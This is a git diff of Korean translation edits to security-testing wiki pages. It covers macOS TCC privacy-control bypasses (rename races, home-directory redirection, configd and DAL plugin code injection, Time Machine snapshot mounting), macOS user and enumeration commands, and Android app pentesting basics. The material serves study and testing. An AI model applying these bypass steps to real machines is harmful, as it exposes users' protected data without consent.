@ -190,7 +190,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
이는 임시 파일 쓰기 후 **`rename(old, new)`** **가 안전하지 않습니다.**
안전하지 않은 이유는 **구(old)와 신(new) 경로를 별도로 해결해야 하기 때문**이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 `xnu` 함수 `renameat_internal()`을 확인할 수 있습니다.
안전하지 않은 이유는 **이전 및 새로운 경로를 별도로 해결해야 하기 때문**이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 `xnu` 함수 `renameat_internal()`을 확인할 수 있습니다.
> [!CAUTION]
> 기본적으로, 권한이 있는 프로세스가 당신이 제어하는 폴더에서 이름을 바꾸면, RCE를 얻고 다른 파일에 접근하게 하거나, 이 CVE와 같이 권한 있는 앱이 생성한 파일을 열고 FD를 저장할 수 있습니다.
@ -202,7 +202,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
- `/Users/hacker/ourlink``/Users/hacker/Library/Application Support/com.apple.TCC/`를 가리키도록 생성합니다.
- `/Users/hacker/tmp/` 디렉토리를 생성합니다.
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`로 설정합니다.
- 이 env 변수를 사용하여 `Music` 실행하여 버그를 유발합니다.
- 이 env 변수를 사용하여 `Music` 실행하여 버그를 유발합니다.
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX``open()`을 포착합니다 (X는 랜덤)
- 여기서 우리는 이 파일을 쓰기 위해 `open()`하고 파일 디스크립터를 유지합니다.
- `/Users/hacker/tmp``/Users/hacker/ourlink`와 **루프에서 원자적으로 전환**합니다.
@ -222,7 +222,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
## By **NFSHomeDirectory**
TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정 리소스에 대한 접근을 제어합니다.\
TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정 리소스에 대한 접근을 제어합니다.\
따라서 사용자가 $HOME env 변수를 **다른 폴더**를 가리키도록 재시작하면, 사용자는 **/Library/Application Support/com.apple.TCC/TCC.db**에 새로운 TCC 데이터베이스를 생성하고 TCC를 속여 모든 TCC 권한을 모든 앱에 부여할 수 있습니다.
> [!TIP]
@ -243,7 +243,7 @@ TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다.
6. 사용자의 _tccd_를 중지하고 프로세스를 재부팅합니다.
두 번째 POC는 `com.apple.private.tcc.allow``kTCCServiceSystemPolicySysAdminFiles` 값으로 설정**`/usr/libexec/configd`**를 사용했습니다.\
두 번째 POC는 **`/usr/libexec/configd`**를 사용했으며, 여기에는 `com.apple.private.tcc.allow``kTCCServiceSystemPolicySysAdminFiles` 값으로 설정되어 있었습니다.\
**`-t`** 옵션으로 **`configd`**를 실행할 수 있었고, 공격자는 **로드할 사용자 정의 번들을 지정**할 수 있었습니다. 따라서 이 익스플로잇은 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 **`configd` 코드 주입**으로 대체합니다.
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)를 확인하세요.
@ -302,7 +302,7 @@ exit(0);
### 장치 추상화 계층 (DAL) 플러그인
Core Media I/O를 통해 카메라 스트림을 여는 시스템 애플리케이션(**`kTCCServiceCamera`**가 있는 앱)은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에서 로드**합니다 (SIP 제한 없음).
Core Media I/O를 통해 카메라 스트림을 여는 시스템 애플리케이션(**`kTCCServiceCamera`**가 있는 앱)은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에서 로드**합니다 (SIP 제한 없음).
여기에 일반 **생성자**가 있는 라이브러리를 저장하는 것만으로도 **코드를 주입**하는 데 효과적입니다.
@ -378,7 +378,7 @@ launchctl load com.telegram.launcher.plist
```
## 열린 호출로
샌드박스에 있을 때**`open`**을 호출할 수 있습니다.
샌드박스화된 상태에서**`open`**을 호출할 수 있습니다.
### 터미널 스크립트
@ -402,7 +402,7 @@ launchctl load com.telegram.launcher.plist
</dict>
</plist>
```
애플리케이션은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다:
응용 프로그램은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -417,8 +417,8 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승
**모든 사용자** (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 **해당 스냅샷의 모든 파일에 접근**할 수 있습니다.\
필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근** (FDA) 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다.
**모든 사용자** (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 **해당 스냅샷의 모든 파일**에 접근할 수 있습니다.\
필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근** (FDA) 접근 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다.
```bash
# Create snapshot
tmutil localsnapshot
@ -465,14 +465,22 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
Check the **full exploit** in the [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/).
### CVE-2024-40855
[**원본 작성물**](https://www.kandji.io/blog/macos-audit-story-part2)에서 설명된 바와 같이, 이 CVE는 `diskarbitrationd`를 악용했습니다.
공용 `DiskArbitration` 프레임워크의 함수 `DADiskMountWithArgumentsCommon`이 보안 검사를 수행했습니다. 그러나 `diskarbitrationd`를 직접 호출하여 경로에 `../` 요소와 심볼릭 링크를 사용할 수 있습니다.
이로 인해 공격자는 `diskarbitrationd`의 권한 `com.apple.private.security.storage-exempt.heritable`로 인해 TCC 데이터베이스를 포함하여 임의의 위치에 마운트를 할 수 있었습니다.
### asr
도구 **`/usr/sbin/asr`**는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 마운트할 수 있게 해주었습니다.
### Location Services
**`/var/db/locationd/clients.plist`**에 세 번째 TCC 데이터베이스가 있어 **위치 서비스에 접근할 수 있는 클라이언트**를 나타냅니다.\
폴더 **`/var/db/locationd/`는 DMG 마운트에서 보호되지 않았기 때문에** 우리의 plist를 마운트하는 것이 가능했습니다.
**`/var/db/locationd/clients.plist`**에 TCC 데이터베이스가 세 번째로 존재하여 **위치 서비스에 접근할 수 있는 클라이언트**를 나타냅니다.\
폴더 **`/var/db/locationd/`는 DMG 마운트에서 보호되지 않았기 때문에** 우리 자신의 plist를 마운트할 수 있었습니다.
## By startup apps
@ -482,7 +490,7 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith
## By grep
여러 경우에 파일 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 보호되지 않은 위치에 저장합니다 (이는 Apple의 취약점으로 간주됩니다).
여러 경우에 파일 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 보호되지 않은 위치에 저장합니다(이는 Apple의 취약점으로 간주됩니다).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
@ -492,7 +500,7 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
[**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)를 사용하는 또 다른 방법:
[**CoreGraphics 이벤트**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)를 사용하는 또 다른 방법:
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -1,35 +1,33 @@
# macOS Users & External Accounts
# macOS 사용자 및 외부 계정
{{#include ../../banners/hacktricks-training.md}}
## Common Users
## 일반 사용자
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
- **Daemon**: 시스템 데몬을 위한 사용자. 기본 데몬 계정 이름은 보통 "\_"로 시작합니다:
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account for guests with very strict permissions
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: 매우 제한된 권한을 가진 게스트 계정
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Nobody**: 최소 권한이 필요할 때 이 사용자로 프로세스가 실행됩니다.
- **Root**
## User Privileges
## 사용자 권한
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
- For example root won't be able to place a file inside `/System`
- **표준 사용자:** 가장 기본적인 사용자입니다. 이 사용자는 소프트웨어를 설치하거나 다른 고급 작업을 수행할 때 관리자 사용자로부터 권한을 부여받아야 합니다. 스스로는 이를 수행할 수 없습니다.
- **관리자 사용자**: 대부분의 경우 표준 사용자로 작동하지만 소프트웨어 설치 및 기타 관리 작업과 같은 루트 작업을 수행할 수 있는 권한이 부여된 사용자입니다. 관리자 그룹에 속한 모든 사용자는 **sudoers 파일을 통해 루트에 접근할 수 있습니다**.
- **Root**: Root는 거의 모든 작업을 수행할 수 있는 사용자입니다(시스템 무결성 보호와 같은 보호에 의해 제한이 있습니다).
- 예를 들어, root는 `/System` 내부에 파일을 배치할 수 없습니다.
## External Accounts
## 외부 계정
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
MacOS는 FaceBook, Google 등과 같은 외부 신원 제공자를 통해 로그인하는 것도 지원합니다. 이 작업을 수행하는 주요 데몬은 `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`)이며, 외부 인증에 사용되는 플러그인은 `/System/Library/Accounts/Authentication/` 폴더 내에서 찾을 수 있습니다.\
또한, `accountsd` `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`에서 계정 유형 목록을 가져옵니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# macOS Useful Commands
# macOS 유용한 명령어
{{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools
### MacOS 자동 열거 도구
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands
### 특정 MacOS 명령어
```bash
#System info
date
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache
sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/
##Web folder: /Library/WebServer/Documents/
#Remove DNS cache
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
```
### 설치된 소프트웨어 및 서비스
### Installed Software & Services
Check for **suspicious** applications installed and **privileges** over the.installed resources:
설치된 **의심스러운** 애플리케이션과 설치된 리소스에 대한 **권한**을 확인하십시오:
```
system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps
launchctl list #Services
```
### User Processes
### 사용자 프로세스
```bash
# will print all the running services under that particular user domain.
launchctl print gui/<users UID>
@ -140,10 +135,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if its not running or youve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label
```
### 사용자 생성
### Create a user
Without prompts
프롬프트 없이
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

View File

@ -2,42 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
## 안드로이드 애플리케이션 기초
안드로이드 보안 및 안드로이드 애플리케이션의 가장 위험한 구성 요소와 관련된 **가장 중요한 부분**에 대해 알기 위해 이 페이지를 읽는 것을 강력히 권장합니다:
**안드로이드 보안과 안드로이드 애플리케이션에서 가장 위험한 구성 요소와 관련된 가장 중요한 부분**에 대해 알기 위해 이 페이지를 읽는 것을 강력히 권장합니다:
{{#ref}}
android-applications-basics.md
{{#endref}}
## ADB (Android Debug Bridge)
## ADB (안드로이드 디버그 브리지)
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 파일을 양방향으로 **복사**하고, 앱을 **설치** 및 **제거**하며, 셸 명령을 **실행**하고, 데이터를 **백업**하고, 로그를 **읽는** 등의 기능을 제공합니다.
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다.
ADB 사용 방법을 배우기 위해 다음 [**ADB 명령어 목록**](adb-commands.md)을 확인하세요.
ADB를 사용하는 방법을 배우기 위해 다음 [**ADB 명령어 목록**](adb-commands.md)을 확인하세요.
## Smali
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
## 기타 흥미로운 트릭
## 기타 흥미로운
- [Play Store에서 위치 스푸핑하기](spoofing-your-location-in-play-store.md)
- **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
@ -71,7 +56,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
**Firebase**
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
@ -85,13 +70,13 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다.
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식 취약 Android 버전을 지원하지 않는 것이 중요합니다.
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식 취약 Android 버전을 지원하지 않는 것이 중요합니다.
**strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다.
### 탭재킹
### Tapjacking
**탭재킹**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
결과적으로, 사용자는 실제로 희생 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**.
자세한 정보는 다음에서 확인하세요:
@ -102,28 +87,28 @@ tapjacking.md
### 작업 하이재킹
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 하이재킹할 수 있습니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
**`launchMode`**가 **`singleTask`**로 설정되고 **`taskAffinity`**가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 하이재킹할 수 있습니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
자세한 정보는 다음에서 확인하세요:
자세한 내용은 다음에서 확인하세요:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### 불안전한 데이터 저장
### 안전하지 않은 데이터 저장
**내부 저장소**
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE` 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(잠재적으로 악의적인 애플리케이션 포함)에 의한 이러한 파일에 대한 접근을 **제한하지 않습니다**.
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE` 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 다른 애플리케이션, 특히 잠재적으로 악의적인 애플리케이션에 의한 파일 접근을 **제한하지 않습니다**.
1. **정적 분석:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**에 파일을 **노출할 수 있습니다**.
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**으로 파일을 **노출할 수 있습니다**.
2. **동적 분석:**
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
**외부 저장소**
**외부 저장소**(예: SD 카드)에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다:
**외부 저장소**에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다:
1. **접근성**:
- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다.
@ -131,9 +116,9 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
- 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다.
3. **외부 저장소에서 데이터 처리**:
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 유효성 검사를 수행**합니다. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증**을 수행하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**.
@ -225,21 +210,6 @@ content-protocol.md
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
---
## Dynamic Analysis
@ -304,24 +274,24 @@ You need to activate the **debugging** options and it will be cool if you can **
**Copy/Paste Buffer Caching**
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 민감한 섹션(예: 신용 카드 세부정보)에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
**Crash Logs**
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다.
응용 프로그램이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 응용 프로그램을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다.
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
**Analytics Data Sent To 3rd Parties**
